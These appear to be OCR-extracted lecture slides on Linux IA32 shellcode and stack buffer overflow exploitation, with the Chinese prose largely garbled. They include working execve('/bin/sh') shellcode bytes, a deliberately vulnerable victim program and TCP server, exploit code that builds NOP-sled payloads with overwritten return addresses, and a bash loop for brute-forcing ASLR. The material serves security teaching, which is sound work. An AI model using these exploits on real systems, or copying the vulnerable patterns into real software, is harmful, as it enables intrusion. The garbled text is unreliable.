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Linux32 shellcode#y A&

- BRI F FHE R XimthimiE, SR =RARER
? ()R AR T R ANME (RTS, offset) ;

7 (Z)Eﬂki’s‘ililii NE GBI BiRdRE, FEEIEN) B iREH
Zintit+RE) ;

7 (3)R 'ﬁﬂﬂgE(ﬁE*ﬂ%&I)Jﬁ%)E’ﬂsheucodeo

X
&

* fgSshellcode Z HEIJLRIE S . x86HYILRIFIAE W HIHAT&TH
Intel, FEXFIETIE. BHEBEESHFIRINEARRE.,

Viinux N m1IFas FEIR a5 5 AV 2 AT&TIE/E (mov src, des)

v' Win32 T Y 4R E = 1A =3 FA BV 2 Inteli& 7% (mov des, src)
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9.1 Linux IA32M0 F & 429

s LNnuxRZHHNE— PR ExEZE =
o BFE1: exit.c

#include <stdio.h>
#include <stdlib.h>
void main()

{
exit(0x12);

}

AR




BWmE. 1517.

s WIFZERFFIIT
S gcc -0 e exit.c
S ./e
S echo S?
18

* AT MERFNRNIPEITIITIE,
S gdbe

lgdbER IR E

ERERAE ST

TR

GNU gdb (Ubuntu 7.11.1-Oubuntul~16.5) 7.11.1

Linux shellcode



SOC ZmmainpR £

(gdb) disas main
Dump of assembler code for function main:

0x0804840b <+0>: lea 0x4(%esp),%ecx
0x0804840f <+4>: and SOxfffffff0, %esp
0x08048412 <+7>: pushl -0x4(%ecx)

0x08048415 <+10>: push %ebp

0x08048416 <+11>: mov %esp,%ebp

0x08048418 <+13>: push %ecx

0x08048419 <+14>: sub SO0x4,%esp

0x0804841c <+17>: sub  SOxc,%esp

0x0804841f <+20>: push SO0x12

0x08048421 <+22>: call 0x80482e0 <exit@plt>
End of assembler dump.

Linux shellcode



WEW R, REFENIET

« fEmain+22Ix Effr =, IREFFEFIINTT, ZWMexitixBZSIFA _exit, WH
=N
(gdb) disas exit
No symbol table is loaded. Use the "file" command.

° gdb?%??_eXItT@T l_Eljjfjb'f’t:f 'T/E?\,Jljii'ﬁtiﬁﬁﬂj] BEIEE, BYER
BARAFAEHEENETRFEHERNANTFZE. A, 7 T FHEmain 8 B
— TR, FRINHEE.

(gdb) b *(ma|n+22)
Breakpoint 1 at 0x8048421
(gdb) disp/i Seip

1: x/1 Seip

<error: No registers.>
(gdb) r

[




SOC 4R exit

« AT AT Z_exitiXERELT

(gdb) disas _exit

Dump of assembler code for function _exit:
Oxb7eb88a8 <+0>: mov 0x4(%esp),%ebx
Oxb7eb88ac <+4>: mov SOxfc,%eax
Oxb7eb88b1 <+9>: call *%gs:0x10
Oxb7eb88b8 <+16>: mov SOx1,%eax
Oxb7eb88bd <+21>: int SO0x80
Oxb7eb88bf <+23>: hit

End of assembler dump.

EREITRE, HURENR, WITIZTES

FHNAZ,

Linux shellcode



(gdb) b *(_exit+9)

Breakpoint 2 at Oxb7eb88b1

(gdb)

1: x/i $eip

=> 0xb7eb88bl1 <_exit+9>: call *%qgs:0x10

(gdb) si

Oxb7fd9cfc in __ kernel vsyscall ()

1: x/i $eip

=> 0xb7fd9cfc < kernel vsyscall>: push 9%oecx

(gdb) si

Oxb7fd9cfd in __kernel vsyscall ()

1: x/i $eip

=> Oxb7fd9cfd <__kernel vsyscall+1>: push %edx
» oI, call *%gs:OX10KFENE| AR ZIFH .

Linux shellcode



(gdb) disas _ kernel vsyscall
Dump of assembler code for function __ kernel vsyscall:

Oxb7fd9cfc <+0>: push %ecx

=> 0xb7fd9cfd <+1>: push %edx
Oxb7fd9cfe <+2>: push %ebp
Oxb7fd9cff <+3>: mov  %esp,%ebp
Oxb7fd9d01 <+5>: sysenter
Oxb7fd9d03 <+7>: int  $0x80
Oxb7fd9d05 <+9>: pop %ebp
Oxb7fd9d06 <+10>: pop %edx
Oxb7fd9d07 <+11>: pop %oecx
Oxb7fd9d08 <+12>: ret

End of assembler dump.
L TSysenterfis SR E— TR

(gdb) b *(__ kernel vsyscall +5)
Breakpoint 3 at Oxb7fd9d01

Linux shellcode
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sysenterfint SOx80

» 5 <sysenter @ AEFTHB(R) I ARIERR S| NAY IR R S0 H TOREAY
—&B. FETsysenterz T F AL, BEUSIASREMREFLIRE
&R3FIA 0 (CPLO),

* sysenterszint SOX80MI &, LINMERIANINEE.

s RENITE|FE S sysenter, BEFFFaME!
(gdb) c
Breakpoint 3, Oxb7fd9d01 in __kernel_vsyscall ()
1: x/i Seip
=> 0xb7fd9d01 <__kernel_vsyscall+5>: sysenter



MERTRRE BB FFaHE

(gdb) i reg eax ebx ecx edx

eax Oxfc 252

ebx Ox12 18

ecx Oxb7fbcld8 -1208237608
edx 0x0 0

(gdb) si

[Inferior 1 (process 3436) exited with code 022]

- o]0, ERZIFEAZE, #HEREeaxf{H A0xfc, XZEXLIN_exitBN RS

=, WEebxfVE A _exitilIS 3, BIRHE RSB,

« A1 B EB{F B RS INEE T Asysenter(3 Fint $0x80) LI exit(0x12)4H[E]

Linux shellcode

e, XRBARGARREFFHFRNERT LT
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void main(){
_asm_ (
"mov $0xfc,%eax;"
"mov  $0x12,%ebx;"
'sysenter; "
/["int $0x80:"

);
}

2

R

AT

$ gcc -0 exit_asm exit_asm.c
$ ./Jexit_asm
$ echo $?

18

Linux shellcode

PRI SE I exit N IHEE . exit_a

(gdb) disas main

SM.C

Dump of assembler code for function main:

0x080483db <+0>:
0x080483dc <+1>:
0x080483de <+3>:
0x080483e3 <+8>:
0x080483e8 <+13>:
0x080483ea <+15>:
0x080483eb <+16>:
0x080483ec <+17>:
End of assembler dump.
* [ HATAE AU

CRNEIYEE

push %ebp

mov  %esp,%ebp
mov  $0xfc,%eax
mov  $0x12,%ebx
sysenter

nop

pop %ebp

ret

B EES. R

13



Linux

Linux FEYEREL B A e T ae 8 FH L

cLinux T — 1R KA ZERI ARG I ] sysenter( 3} int
SOx80) SR AY

« ARG TNEE A= A FaseaxZid;
- HRHISHAH T’dz%ﬁ SOV HETR (R 13

-3
R s
« HLE RGN Fysysenterig &,

« E7Asysenterflint SOX80E HHEIRIINEE, EE2MBHMX%IE,
Jint SOX805E g —L& |

~NYg

L .

shellcode 14



9.2 28 5 Linux IA32shellcode

* shellcode 2+ A\ F| B frit iz
ZHEAE.

* I 5shellcode BT YU T3NFTE:

1. REREENEE TR VIR RNCEEFF,

2. }i/[ 7% o] I AT RCH,

15 = SSIMARRIBYIIRE,;

3. IREVHE1ERD, Ehlshellcode,

2ol S

N/
9:‘/

el RS, HINBEEUR-

IR G IIBE A,

IREBRECEA,

] Ci%ﬁ&zlﬁ

B

1)L 2R



9.2.1 85— EEFE1E shellNCIE =

BE 3B shellfYCFEFE: shell.c ETER (shell VIR ~FFANE)
void foo() o ZF1FEshell.cHF1EZ1TIEF:
{ i@U16:~/work/ns/09/binS gcc -o shell ../src/shell.c
char * name[2]; i@U16:~/work/ns/09/binS ./shell
name[0] ="/bin/sh"; $
name[1] = NULL; e O[Ol BEFKEB—shell (BRFARE) .

execve(name[0], name, NULL );

} ®®® Terminal File Edit View Search Terminal Help
. L. " : $ gcc -0 shell ../src/shell.c
int main(int argc, char * argv[]) : $ ./shell

{ foo(); returnO;} s B

Linux shellcode 16



9.2.2

At

A INREVE ik S shell

« HedbiREFshellfizfT, #HEH fTexecve IR S IR AR S A E

gdb shell

(gdb) disas foo
Dump of assembler code for function foo:
0x0804846b <+0>: push %ebp
0x0804846¢ <+1>: mov %esp,%ebp

0x08048497 <+44>: call 0x8048350 <execve@plt>

0x080484b1 <+70>: leave
0x080484b2 <+71>: ret
End of assembler dump.

Linux shellcode

(e fFarhvE,



(gdb) b *(foo+44)
(gdb) r

Breakpoint 1, 0x08048497 in foo ()

(gdb) disp/i Seip
1: x/i Seip

=> 0x8048497 <foo+44>: call 0x8048350 <execve@plt>

(gdb) disas execve

Dump of assembler code for function execve:

Oxb7eb88c0 <+0>:
Oxb7eb88cl <+1>:
Oxb7eb88c5 <+5>:
Oxb7eb88c9 <+9>:
Oxb7eb88cd <+13>:
Oxb7eb88d2 <+18>:
Oxb7eb88d9 <+25>:
Oxb7eb88da <+26>:
Oxb7eb88df <+31>:
Oxb7eb88e5 <+37>:

push
mov
mov
mov
mov

%ebx
0x10(%esp),%edx
Oxc(%esp),%ecx
Ox8(%esp),%ebx
SOxb,%eax

call *%gs:0x10

pPop
cmp

%ebx

SOxfffff001, %eax

jae 0xb7e20740 <__syscall _error>

ret

End of assembler dump.

Linux shellcode
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(gdb) b *(execve+18)

Breakpoint 2 at Oxb7eb88d2:
(gdb) c

Continuing.

1: x/i Seip

=> 0xb7eb88d2 <execve+18>: call *%gs:0x10
(gdb) si

Oxb7fd9cecin _ kernel vsyscall ()

1: x/i Seip

=> Oxb7fd9cec <__kernel _vsyscall>: push %ecx
FHEANRNZEMRFIER,
* RJC%m__kernel_vsyscall, 1ZEMR, & TTEE sysenterf5<,




(gdb) disas  kernel vsyscall

Dump of assembler code for function __kernel vsyscall:

=> Oxb7fd9cec <+0>: push %ecx
Oxb7fd9ced <+1>: push %edx
Oxb7fd9cee <+2>: push %ebp
Oxb7fd9cef <+3>: mov %esp,%ebp
Oxb7fd9cfl <+5>: sysenter
Oxb7fd9cf3 <+7>: int $SOx80
Oxb7fd9cf5 <+9>: pop %ebp
Oxb7fd9cf6 <+10>: pop %edx
Oxb7fd9cf7 <+11>: pop %ecx
Oxb7fd9cf8 <+12>: ret

End of assembler dump.

(gdb) b *(_ kernel vsyscall +5)
Breakpoint 3 at Oxb7fd9cf1
(gdb) c
Breakpoint 3, Oxb7fd9cfl in _ kernel vsyscall ()
1: x/i Seip
=> 0Oxb7fd9cfl <__kernel_vsyscall+5>:  sysenter

Linux shellcode
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- EEHFFRNE,

(gdb) i reg eax ebx ecx edx

eax Oxb 11
ebx 0x8048560 134514016
ecx Oxbfffee94  -1073746284
edx 0x0 O
(gdb) x/x Secx
Oxbfffee94: 0x08048560
(gdb)
Oxbfffee98: 0x00000000 /bin/sh&/bin/dash a4t 1
(gdb) x/s Sebx
0x8048560: "/bin/sh"
(gdb) si
process 3575 is executing new@rogram: /bin/das
(gdb) c
Continuing : $ s -1 /bin/sh
______ C)rwxrwxrwx 1 root root 4 Nov 13 15:24 ->
$ $ s -1 /bin/dash

Linux shellcode

$

-rwxr-xr-x 1 root root 173644 Feb 18 2016

21



« XFEH fTsysenterfq

HF7sysenter 2 B & fFas AVME

edx 40,

* X
th ] I SEENAR B A9 B 47

Linux shellcode

IR F frae

FLREH F7/bin/sh, B E|—shell T,

=HY{E

« EItk, #HiFTsysenterZ B FFayAYE AN
eaxfr{Fzexecve I R 51
ebx{RTFFFFE
ecxRFFFE

]511;
2 name[0]="/bin/sh”iX

s i nameX Mg

]sysenter,

/\TE %-I_ ’

] AR

Jexecve pk £X

22



void foo()

J ThRETE

{ asm__(
"mov SOx0,%edx ;"

"push
"push
"push

mov
"push
"push

MoV

mov

INnt

%edx ;"
S0x0068732f ;"
S0x6e69622f ;"
%esp,%ebx ;"
%edx ;"
%ebx ;"
%esp,%ecx ;
SOxb,%eax ;"

S0x80 ;"

//"sysenter ;");}
int main(int argc, char * argv(])

{ foo();

Linux shellcode

return 0; }

J52 3 execve (shell_asm.c)

gcc -0 shell _asm shell_asm.c
./shell_asm

S

- o] LI execve A IIRE .,
It works!!!

23



9.2.3 MO 1T XA 12 B i shellcode

« N— 5:_1’EEMT$}HTX1¢H?EHR$?5%1’%55, EAIFZFTFERFAH
shellcode, 3 FHCREFELI

« Ak, SEH| A objdump(sigdb) Bz RD(TE L A foo pR 2L EY A AD)
FOC 4wt R
objdump -d shell _asm
shell_ asm: file format elf32-i386




080483db <foo>:

80483db: 55 push %ebp
80483dc:89 e5 mov  %esp,%ebp
80483de: ba 00 00 00 00 mov SOx0,%edx
80483e3: 52 push %edx

80483e4: 68 2f 73 68 00 push S$S0x68732f
80483e9: 68 2f 62 69 6e push S0x6e69622f
80483ee: 89 e3 mov  %esp,%ebx
80483f0: 52 push %edx

80483f1: 53 push %ebx

80483f2: 89 el mov  %esp,%ecx
80483f4: b8 0b 00 00 00 mov  SOxb,%eax
80483f9: cd 80 int  SOx80 _
80483fbh: 90 nop

80483fc: 5d pop %ebp

80483fd: c3 ret

Linux shellcode
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Linux shellcode

H A1t S5 [l 7£(80483de, 80483f9)HY i il X G E shellcode Ffr 35 HY R EAD,

MFREIFFFEFE, ZFEMEXIIEE I Ashellcode,

EABIH shellcodedd T~ :
char shellcode[]="\xba\x00\x00\x00\x00\x52\x68\x2f\x73\x68\x00\x68\x2f\x62
\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";

15172 shell_asm_badcode.c
char shellcode[] ="\xba\x00\x00\x00\x00\x52\x68\x2f\x73\x68\x00\
\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb8\x0b\x00\x00\x00\xcd\x80";
void main()

{
((void (*)())shellcode)();

}
BEHFEZITIZER, SRIEH:
gcc -z execstack -o shell_bad shell _asm_badcode.c
./shell_bad
S

\
/

]l

26



« | R1%shellcodegE SLINHAEE AYTHEE, {Bshellcode # 77 = 4F°\x00”

fm’\X00’ B FFF BB ERIxS . HTshellcodeZ 2 1E 0 FFF R #5 1F 2%
MX AR, X Z2FEHNRIEEESR. B, shellcoder f g8 &
4-°\x00°,

« H M Fh 558 GashellcodeF A5°\x00°
(1) E2UC%RATE, AL HEIESRKES BIYLFAE"\X00° 8 C %
I5<, Lbaifxor  %edx,%edxfZEmov $0x0,%edx, XM EAEES
a1 55 fyshellcode;

(2) Xfshellcode#iT4w58, IEMERDFE F%% A5 f5 AYshellcodetE 4 ¥
Ayshellcode.,

. 7?&1!"_?:1/?\%;1\28%%1%417‘3%, F2M 7 A 11EZ Windows shellcodey;
"]

/IZIO

Linux shellcode 27



BXOCREFR, EEshellcode Y \x00’

* BRI FRE3FXILCHIESER\X00":

ba 00 00 00 00 mov SO0x0,%edx
68 2f 73 68 00 push SO0x68732f
b8 Ob 00 00 00 mov SOxb,%eax

. FH”xor %reg, %reg” E#2 “mov SO0x0, %reg”
2. F3”//bin/sh” Bi&”/bin/sh”, CHREZEA:
push SOx68732f6e
push SOx69622f2f

3. FH”lea Oxb(%edx), %eax” HE#"mov SOxb, %eax”




el

—

_asm_ (
""xor 9%oedx,%edx ;"
"push %edx ;"
"push $0x68732f6e ;"
"push $0x69622f2f ;"
"mov  %esp,%ebx ;"
"push %edx ;"
"push %ebx ;"
"mov  %esp,%ecx ;"
"lea  Oxb(%edx),%eax ;"
"Int  %0x80;"

Linux shellcode

SEC 47488 (shell_asm_fix.c)

gcc -o fix -z execstack ../src/shell_asm_fix.c
STix

$

29



REAAD, 5 £ shellcode

o FHobjdumpiBRAZIZENHE &, B F|E#AAYshellcode (shell asm_fix_opcode.c):

char shellcode[]=

"\x31\xd2" // xor %edx,%edx
"\x52" // push %edx
"\x68\x6e\x2f\x73\x68" // push $0x68732f6e
"\x68\x2f\x2f\x62\x69" // push $0x69622f2f
"\x89\xe3" // mov %esp,%ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xel" // mov %esp,%ecx
"\x8d\x42\x0b" // lea 0Oxb(%edx),%eax
"\xcd\x80"; // int  $0x80

* Zshellcode?t B ixit R == (BB T /R IR G —Dshell, T HFXLinux 1A32i#72
AT

Linux shellcode



gcc -z execstack -0 opcode ../src/shell _asm_fix_opcode.c
Jopcode

$

gdb opcode

(gdb) disas main

Dump of assembler code for function main:

0x08048499 <+46>: call 0x8048340
<strcpy@plt>

0x0804849¢e <+51>: add $0x10,%esp

0x080484al <+54>: lea -0x20c(%ebp),%eax

0x080484a7 <+60>: call *%eax

(gdb) b *(main + 60)
Breakpoint 1 at 0x80484a7

(gdb) r
Breakpoint 1, 0x080484a7 in main ()

Linux shellcode

JCFE %5 iFshellcode By IE 71

(gdb) disp/i $eip

1: x/i $eip

=> 0x80484a7 <main+60>: call *%eax
(gdb) x/x $eax

OxDbfffecac: 0x6852d231

(gdb) x/10i1 Oxbfffecac

Oxbfffecac: xor  %edx,%edx
OxDbfffecae: push %edx
Oxbfffecaf: push $0x68732f6e
Oxbfffecb4: push $0x69622f2f
Oxbfffech9: mov  %esp,%ebx
Oxbfffecbb: push %edx
OxDbfffecbc: push %ebx
Oxbfffechd: mov  %esp,%ecx
Oxbfffecbf: lea Oxb(%edx),%eax
Oxbfffecc2: int  $0x80

(gdb)
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9.3 Linux IA32 A I T

O

- MBEERREFE—ASANKS, WTMAERHRSG, AFE
R R A oot UR MR, LUREIRF AP oA M 2

=JLo

s MR B Frg h X i/, TELXﬁ?Wshellcode, N shellcode
WMEH RHZPXE®E, AR E MREMXE K, EIARHshellcode,
M shellcode i 7 # 4 ) 28 /A X A

« — &1 ,m%L@Mxﬁm&ﬂﬁﬁM%%Dﬁﬁﬁﬁ HEER
tH/)%/E, NH o] gk Gshell, MRFEMLRRMAAN@A, TH
EERKMANFERFH, NEXEKSshell, X2 F AshellcodedrH KEH
AT BTHNFER, BREREUEFIOERBAZIZ AKX,




9.3.1 /NEE M X B HE v 1 T oy
© LT BB (Ivictim. o) N PIRBAGE, SAEHEIMEI— NG

#define LARGE_BUFF_LEN 1024

void smash_smallbuf(char * largebuf)

{
char buffer[32];
FILE *badfile;
badfile = fopen("./SmashSmallBuf.bin", "r");
fread(largebuf, sizeof(char), LARGE_BUFF_LEN, badfile);
fclose(badfile);
largebuf[LARGE_BUFF_LEN]=0;
printf("Smash a small buffer with %d bytes.\n\n",strlen(largebuf));
strcpy(buffer, largebuf); // smash it and get a shell.




Int main(int argc, char * argv[])

{
char attackStr[LARGE_BUFF_LEN+1];

switch(argc)
{
case 1. smash smallbuf(attackStr); break;
case 2: smash_largebuf(attackStr); break;
case 3: smash_realbuf(); break;
default: puts("exit with return code 0."); break;

}

return O;

}

« HFbuffer[32] RE3I2FT, TTiER4hshellcode, K it shellcode R & 7E largebuf
EME%%ZZEE’J%/M&%%&A@J‘E&O ﬁuﬁﬂilﬁ%?smash smallbuf g9 ik [2] 4
HE Sbufferpy &MU RIEE R, XFEERITAIA B irAEmMHHE .




gcc -fno-stack-protector -z execstack -o lvictim lvictim.c
Il > SmashSmallBuf.bin
gdb lvictim

(gdb) disas smash smallbuf
Dump of assembler code for function smash_smallbuf:

0x0804854b <+0>: push %ebp
0x080485c0 <+117>: call 0x80483f0 <strcpy@plt>
0x080485ca <+127>: ret

End of assembler dump.
(gdb) b *(smash_smallbuf + 0)
Breakpoint 1 at 0x804854b
(gdb) b *(smash_smallbuf + 117)
Breakpoint 2 at 0x80485c0
(gdb) b *(smash_smallbuf + 127)
Breakpoint 3 at 0x80485ca

Linux shellcode

35



(gdb) x/i Seip

=> 0x804854b <smash_smallbuf>: push %ebp
(gdb) x/x Sesp

Oxbfffea8c: 0x08048727

(gdb) c

(gdb) x/x Sesp

OxbfffeadO: Oxbfffea5c

(gdb) p/x Oxbfffea8c - Oxbfffea5c

S1=0x30

* HULTTH, Rixftlargebuf+484b i B T LD AV Bk L HlE, shellcode A 2T
ftlargebuf+48+4= largebuf+52 2 I E., AT NTHEEATERAR—EN
ZMX, BEm#largebuf - ( strlen(shellcode) +1) F 5 I E -

Linux shellcode



£]9-1 Wi/ NEA X BB 7 &
¢ LARGE_BUFF_LEN >
<¢—LARGE_BUFF_LEN--strlen(shellcode)-1—®
- 52 > M >
- 48 >
4 . 4 Y 4 A4
NOP-:----- NOP RET NOP------ NOP ShellCode

start address of buffer

RET =start + 52 + m, m<M



* DU (lexploit.c)t8i& £+ 3 /NE IR X BV I &R
#define SMALL_BUFFER_START Oxbfffef2c
#define ATTACK_BUFF_LEN 1024
void ShellCodeSmashSmallBuf() {
char attackStrfATTACK_BUFF_LEN];
unsigned long *ps;
FILE *badfile;
memset(attackStr, 0x90, ATTACK _BUFF_LEN);
strcpy/(attackStr + (ATTACK_BUFF_LEN - strlen(shellcode) - 1), shellcode);
ps = (unsigned long *)(attackStr+48);
*(ps) = SMALL_BUFFER_START + 0x100;
attackStr[ATTACK_BUFF_LEN-1] =0;
badfile = fopen("./SmashSmallBuf.bin", "w");
fwrite(attackStr, strlen(attackStr), 1, badfile);
fclose(badfile);



o MR gRIFEFDE fTlexploit.cHllvictim.c, W3k F—"shell,

S gcc -o lexploit lexploit.c

S ./lexploit
SmashSmallBuf():
Length of attackStr=1023 RETURN=0xbffffO2c.

S gcc -fho-stack-protector —zexecstack -o lvictim Ivictim.c

S ./lvictim
Smash a small buffer with 1024 bytes.
S

» HIERBE TN, NFEIFESMALL_BUFFER_STARTHY{E.

Linux shellcode
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9.3.2 KM X BAH 8 H B

* MRFEHHENE AKX ET B Hshellcode, N T UK shellcode AL M X . ZFEIATHYREL
void smash_largebuf(char * largebuf)
{

char buffer[512];

FILE *badfile;

badfile = fopen("./SmashLargeBuf.bin", "r");

fread(largebuf, sizeof(char), LARGE_BUFF_LEN, badfile);

fclose(badfile);

largebuf[LARGE_BUFF_LEN]=0;

printf("Smash a large buffer with %d bytes.\n\n",strlen(largebuf));

strcpy(buffer, largebuf);// smash it and get a shell.
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* gcc -fno-stack-protector -z execstack -0
lvictim lvictim.c

gdb Ivictim

(gdb) set args 1

(gdb) disas smash_largebuf
(gdb) b *(smash_largebuf + 0)
Breakpoint 1 at 0x80485ch
(gdb) b *(smash_largebuf + 123)
Breakpoint 2 at 0x8048646
(gdb) b *(smash_largebuf + 133)
Breakpoint 3 at 0x8048650
(gdb) disp/i $eip

Linux shellcode

X gyRC i i tE
SR LB OFF_SET

1: x/i $eip

=> 0x80485ch <smash_largebuf>.  push %ebp
(gdb) x/x $esp
Oxbfffea8c:
(gdb) c

0x0804873b

1: x/i $eip

=> 0x8048646 : call 0x80483f0 <strcpy@plt>
(gdb) x/x $esp

Oxbfffe860: Oxbfffe87c

(gdb) p Oxbfffea8c - Oxbfffe87c

$1 =528
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© UTRCHEE(Iexploit.c) 9 1E $t X KA X BB .
#define OFF_SET 528
#define LARGE_BUFFER_START 0xbfffe87c
void ShellCodeSmashLargeBuf()
{
char attackStr[ATTACK_BUFF_LEN];
unsigned long *ps, ulReturn;
FILE *badfile;
memset(attackStr, 0x90, ATTACK_BUFF_LEN);
strcpy(attackStr + (LBUFF _LEN - strlen(shellcode) - 1), shellcode);
memset(attackStr+strlen(attackStr), 0x90, 1);
ps = (unsigned long *)(attackStr+OFF _SET);
*(ps) = LARGE_BUFFER_START+0x100;
attackStrfATTACK_BUFF_LEN - 1] =0;

printf("\nSmashLargeBuf():\n\tLength of attackStr=%d RETURN=%p.\n"

strlen(attackStr), (void *)(*(ps)));
badfile = fopen("./SmashLargeBuf.bin", "w");
fwrite(attackStr, strlen(attackStr), 1, badfile);
fclose(badfile);

Linux shellcode
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F3x 15— shell,

o« fR RFFNIE FTlexploit.cFllvictim.c, °

gcc -o lexploit lexploit.c

[lexploit
SmashLargeBuf():
Length of attackStr=1023 RETURN=0xbfffee4c.

gcc -fno-stack-protector -z execstack -o lvictim ../src/lvictim.c

Alvictim 1
Smash a large buffer with 1024 bytes.
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 FTFh I BEVL AL
sudo sysctl -w kernel.randomize _va_space=2

- BimENAEDT:

#define ATTACK _LEN 1024*1024*2

void smash_realbuf()

{
char hugebuf[ATTACK LEN+1];
FILE *badfile;
badfile = fopen("./SmashRealBuf.bin", "r");
fread(hugebuf, sizeof(char), ATTACK_ LEN, badfile);
fclose(badfile);
hugebuf[ATTACK _LEN]=0;
smash_it((char *)hugebuf);

}

void smash_it(char * buf)

{
char buffer[32];
printf(“(%d bytes) smash (%d bytes) addr=%p.\n\n",strlen(buf), sizeof(buffer), buffer);
strcpy(buffer, buf); // smash it and get a shell.

}

Linux shellcode
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gcc -fno-stack-protector -z execstack -0 lvictim
lvictim.c

gdb Ivictim

(gdb) setargs 1 2

(gdb) disas disas smash it
(gdb) b *(smash_it + 0)
Breakpoint 1 at 0x8048621
(gdb) b *(smash_it + 52)
Breakpoint 2 at 0x8048655
(gdb) disp/i $pc

Linux shellcode

=

S AT B OFF SET

call

1: x/i $pc

=> 0x8048621 <smash_it>: push %ebp
(gdb) x/x $esp

Oxbfdfea6c: 0x080486bb

(gdb) c

1: x/i $pc

=> 0x8048655 <smash_it+52>:
0x80483d0 <strcpy@plt>

(gdb) x/x $esp

Oxbfdfea30: Oxbfdfea40

(gdb) p Oxbfdfea6e - Oxbfdfea40
$1=44
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« TR (lexploit.c) s ME MR ME AR e 2MBREBAZHX) , #HITXER
#define ATTACK_BUFF_LEN 1024
#define ATTACK_LEN ATTACK_BUFF _LEN*ATTACK BUFF LEN*2
void ShellCodeForRealWorld()
{
char attackStr[ATTACK _LEN];
unsigned long *ps;
unsigned long ulReturn=0xbfdfef30 + 0x100;
FILE *badfile;
memset(attackStr, 0x90, ATTACK LEN);
strcpy(attackStr + (ATTACK _LEN - strlen(shellcode) - 1), shellcode);
ulReturn = Oxbfdfea40 + 0x1000;
ps = (unsigned long *)(attackStr+44);
*(ps) = ulReturn;
attackStr[ATTACK_LEN - 1] =0;
printf("\nSmashRealBuf():\n\tLength of attackStr=%d RETURN=%p.\n" strlen(attackStr), (void *)ulReturn);
badfile = fopen("./SmashRealBuf.bin", "w");
I = fwrite(attackStr, 1, strlen(attackStr), badfile);
fclose(badfile);

Linux shellcode

I
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1R gmiE R T lexploit.cFllvictim.c, 35— E FIMER IK 15— shell

Jlvictim 1 2 Jlvictim 1 2
Hu(r:le buffer (2097151 bytes) smash a Hu#e buffer (2097151 byftg%)e smash a real

real buffer(32 bytes) addr=0xbf8139f0.  buffer(32 bytes) addr=0xbf87eas0.
Segmentation fault (core dumped) Segmentation fault (core dumped)
Jlvictim 1 2 Jlvictim 1 2

Huge buffer (2097151 bytes) smash a real
Huge buffer (2097151 bytes) smash a -
rea?buffer(?:z ytes) addr:yOxb)fb5f550. bu#er(?’z bytes) addr=0xbfeba410.

Segmentation fault (core dumped) Segmentation fault (core dumped)

Jlvictim 1 2

/lvicim 1 2 Huge buffer (2097151 bytes) smash a real
Hu?e buffer (2097151 bytes) smash a buffer(32 bytes) addr=0xbfd44a40.
real buffer(32 bytes) addr=0xbf90d030.

Segmentation fault (core dumped) $



Ishell AN SLIN Z= I 5. do_ attack.sh

#!/bin/bash
SECONDS=0 ®®® Terminal File Edit View Search Terminal Help
far.
U0 Smash a small buffer with 1024 bytes.
maxcount=100000
_ ../src/do_attack.sh: line 19: 7942 Segmen
while [ $count -It Smaxcount ] tation fault (core dumped) ./lvictim
do 9 minutes and 20 seconds elapsed.
The program has been running 5400 times so
count=$(( Scount + 1)) far.
duration=$SECONDS Smash a small buffer with 1024 bytes.
minutes=S$((Sduration / 60)) ../src/do attack.sh: line 19: 7944 Segmen
_ . tation fault (core dumped) ./lvictim
seconds=5((>duration % 60)) 9 minutes and 20 seconds elapsed.
echo "Sminutes minutes and Sseconds seconds elapsed." LR d gl l-lIBGEEIJEE I running 5401 timesge
far.
echo "The program has been running Scount times so far." Smash a small buffer with 1024 bytes.

Jlvictim

il |

done



0 Terminal File Edit View Search Terminal Help
Es.The program has been running 8160 times so far.
g Smash a large buffer with 1024 bytes.

iéi ./do attack.sh: line 19: 21689 Segmentation fault

LY 14 minutes and 32 seconds elapsed.
The program has been running 8161 times so far.

E§ Smash a large buffer with 1024 bytes.

./do attack.sh: line 19: 21691 Segmentation fault
14 minutes and 32 seconds elapsed.

= iThe program has been running 8162 times so far.
Smash a large buffer with 1024 bytes.

./do_attack.sh: line 19: 21693 Segmentation fault

#1114 minutes and 32 seconds elapsed.
The program has been running 8163 times so far.

Smash a large buffer with 1024 bytes.

./do_attack.sh: line 19: 21695 Segmentation fault

14 minutes and 32 seconds elapsed.
The program has been running 8164 times so far.
Smash a large buffer with 1024 bytes.

./do_attack.sh: line 19: 21697 Segmentation fault

14 minutes and 32 seconds elapsed.
The program has been running 8165 times so far.
Smash a large buffer with 1024 bytes.

s 1

0

(core dumped)

(core dumped)

(core dumped)

(core dumped)

(core dumped)

/lvictim 1

/lvictim 1

/lvictim 1

./lvictim 1

./lvictim 1

Ty = ) 7:51PM
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151FF . vServer.c

#define SMALL_BUFF _LEN 64

void overflow(char Lbuffer[])

{
char smallbuf[SMALL_BUFF_LEN];
strcpy(smallbuf, Lbuffer);

}

int main(int argc, char *argv|])
{
int listenfd = 0, connfd = 0O;
struct sockaddr_in serv_addr;
int sockfd =0, n = 0;
char recvBuff[1024];
if(argc<2){
printf("Usage: %s <listening port number>.\n", argv[0]); return 1;

}

Linux shellcode
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listenfd = socket(AF _INET, SOCK_STREAM, 0);
memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;

serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(atoi(argv([1]));

bind(listenfd, (struct sockaddr*)&serv_addr, sizeof(serv_addr));
listen(listenfd, 10);

printf("OK: %s is listening on TCP:%d\n", argv[0], atoi(argv([1]));

while(1) {

Linux shellcode

connfd = accept(listenfd, (struct sockaddr*)NULL, NULL);
if(connfd==-1) continue;
if((n = read(connfd, recvBuff, sizeof(recvBuff)-1)) > 0){
recvBuff[n] = 0;

printf("Received %d bytes from client.\n", strlen(recvBuff));

overflow(recvBuff);
}

close(connfd);

sleep(1);  }}
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gcc -fno stack -protector -z execstack -o vServer ../src/vServer.c

o Xt ELFHFTIER I H], smallbufpYie ig 3t 51 B 3 AY BE &5 4 0x4c=76F 17,
IJH: 7‘15(%%5’11%&77615&%4%175’] IR [EIHb1E, shellcode i 7 IX o B8 HY B

i,
.Ek?(xizplmtc ESLIRE I, FEBIN G IimIRF—shell,  rexploit.cAY3ZILN &
1D

void GetAttackBuff() {

unsigned long *ps;

memset(Lbuffer, 0x90, LARGE_BUFF_LEN);

strcpy(Lbuffer + (LARGE_BUFF_LEN - strlen(shellcode) - 10),

shellcode);

ps = (unsigned long *)(Lbuffer+76);

